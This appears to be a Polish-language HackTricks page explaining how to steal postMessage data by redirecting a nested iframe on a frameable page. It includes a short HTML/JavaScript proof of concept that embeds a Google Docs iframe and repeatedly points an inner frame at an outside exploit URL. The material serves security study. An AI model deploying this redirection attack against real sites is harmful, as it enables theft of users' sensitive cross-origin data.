Kradzież postmessage poprzez modyfikację lokalizacji iframe
Reading time: 2 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Zmiana lokalizacji podrzędnych iframe
Zgodnie z tym artykułem, jeśli możesz umieścić stronę internetową w iframe bez nagłówka X-Frame, który zawiera inny iframe, możesz zmienić lokalizację tego podrzędnego iframe.
Na przykład, jeśli abc.com ma efg.com jako iframe, a abc.com nie ma nagłówka X-Frame, mogę zmienić efg.com na evil.com z innego źródła, używając frames.location
.
Jest to szczególnie przydatne w postMessages, ponieważ jeśli strona wysyła wrażliwe dane za pomocą wildcard jak windowRef.postmessage("","*")
, możliwe jest zmienienie lokalizacji powiązanego iframe (podrzędnego lub nadrzędnego) na lokalizację kontrolowaną przez atakującego i kradzież tych danych.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.